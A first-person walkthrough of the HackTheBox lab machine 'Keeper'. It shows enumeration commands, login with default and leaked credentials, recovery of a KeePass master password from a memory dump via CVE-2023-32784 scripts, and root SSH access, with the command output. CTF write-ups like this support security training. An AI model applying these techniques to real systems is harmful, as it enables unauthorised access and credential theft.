HTB: Keeper
A slight detour from the NetSecFocus OSCP list I’m working through, I noticed this easy-rated box was active as part of HTB’s new seasonal format, so I thought I’d give it a bash to grab a few points. Starting off with nmap:
u01@oort :~ $sudo nmap -p- -A keeper.htb-oA keeper Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-19 09:01 BST Nmap scan report for keeper.htb (10.10.11.227) Host is up (0.020s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA) |_ 256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.18.0 (Ubuntu) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94%E=4%D=8/19%OT=22%CT=1%CU=39199%PV=Y%DS=2%DC=T%G=Y%TM=64E076E OS:0%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS OS:(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST1 OS:1NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN OS:(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N% OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD OS:=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 199/tcp) HOP RTT ADDRESS 1 22.65 ms 10.10.14.1 2 22.73 ms keeper.htb (10.10.11.227) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 36.54 seconds
SSH is rarely vulnerable in HTB, so I focus on HTTP/80. The homepage for http://keeper.htb has a link to raise an IT support ticket at tickets.keeper.htb/rt:
I add tickets.keeper.htb to /etc/hosts file so that the FQDN can resolve correctly, and we get a login portal for Best Practical, “an enterprise-grade issue tracking system”.
I kick off a gobuster scan, which reveals a management login portal at /m/:
u01@oort :~ $gobuster dir-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://tickets.keeper.ht b/rt/ -b 302 =============================================================== Gobuster v3.5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://tickets.keeper.htb/rt/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 302 [+] User Agent: gobuster/3.5 [+] Timeout: 10s =============================================================== 2023/08/19 09:21:57 Starting gobuster in directory enumeration mode =============================================================== /m (Status: 200) [Size: 2309] /l (Status: 403) [Size: 0]
A search for default credentials for Best Practical reveals root:password, which works:
Initially think there might be a foothold related to creating a ticket, especially with the error received when testing:
Also of interest is the only visible ticket on the system, which is in relation to a Keepass dump file. The dump file has been removed from the ticket for “security reasons”, now saved on the home directory of the Helpdesk Agent Inorgaard. So likely we will need to get access to Inorgaard’s home directory to examine this file.
On further digging, under Admin -> Users -> Select, we very conveniently find a note on an initial password for…you guessed it, Inorgaard.
Sure enough, these credentials work for SSH access as user Inorgaard:
u01@oort :~ $ssh lnorgaard@keeper.htb lnorgaard@keeper.htb's password: Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy setting s You have mail. Last login: Sat Aug 19 14:06:26 2023 from 10.10.16.14
Seems a little silly that a Helpdesk Agent who has enough security sensibility to remove a crash dump from a ticket for security reasons wouldn’t change their initial password, especially one so obvious as Welcome2023!, but anyway…we retrieve the user.txt flag from Inorgaard’s home directory and don’t ask any more questions.
Also in the home directory of course is the KeePass dump file, contained in RT3000.zip. A quick search reveals a relevant CVE for retrieving a KeePass master password, https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32784. “In KeePass 2.x before 2.54, it is possible to recover the cleartext master password from a memory dump”.
I download the Python script from CMEPW/keepass-dump-masterkey: Script to retrieve the master password of a keepass database <= 2.53.1 (github.com) and run it against the KeePassDumpFull.dmp file:
u01@oort :~/keepass-dump-masterkey $python3 poc.py ~/KeePassDumpFull.dmp 2023-08-19 15:25:12,750 [. ] [main] Opened /home/u01/KeePassDumpFull.dmp Possible password: ●,dgr●d med fl●de Possible password: ●ldgr●d med fl●de Possible password: ●`dgr●d med fl●de Possible password: ●-dgr●d med fl●de Possible password: ●'dgr●d med fl●de Possible password: ●]dgr●d med fl●de Possible password: ●Adgr●d med fl●de Possible password: ●Idgr●d med fl●de Possible password: ●:dgr●d med fl●de Possible password: ●=dgr●d med fl●de Possible password: ●_dgr●d med fl●de Possible password: ●cdgr●d med fl●de Possible password: ●Mdgr●d med fl●de
A peculiarity of this exploit is that the first character of the master password can not be retrieved. I was initially a bit mistaken as to the output of the script, thinking the ● characters were an artifact of the process, and to be removed. None of the combinations of password worked when attempting to open the database in KeePassXC, even when manually bruteforcing the first character. I ran a second script from z-jxy/keepass_dump: KeePass 2.X dumper (CVE-2023-32784) (github.com) to see if there would be much difference:
u01@oort :~/keepass_dump $python3 keepass_dump.py -f ~/KeePassDumpFull.dmp
[*] Searching for masterkey characters
[-] Couldn't find jump points in file. Scanning with slower method.
[*] 0: {UNKNOWN}
[*] 2: d
[*] 3: g
[*] 4: r
[*] 6: d
[*] 7:
[*] 8: m
[*] 9: e
[*] 10: d
[*] 11:
[*] 12: f
[*] 13: l
[*] 15: d
[*] 16: e
[*] Extracted: {UNKNOWN}dgrd med flde
Again, the unknown first character (expected) and the weird gaps (unexpected). So I did what any sane person might do in this situation; I Googled “dgr●d med fl●de”!
Did I mean “rodgrod med flode”? Eh, sure, why not…
Ah! A Danish dish, containing the special character ø…øf cøourse. Once I replaced the spaces with this character, we were into the KeePass database.
A single entry in the KeePass database for the ticketing server. I copied the SSH key file in the note to .pkk, and converted it to .pem, which along with the password in KeePass, gave me SSH access to the box as root to retrieve the root.txt flag:
u01@oort :~ $puttygen puttykey.ppk -O private-openssh -o keeper.pem u01@oort :~ $ssh -i keeper.pem root@keeper.htb Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy setting s You have new mail. Last login: Tue Aug 8 19:00:06 2023 from 10.10.14.41 root@keeper:~#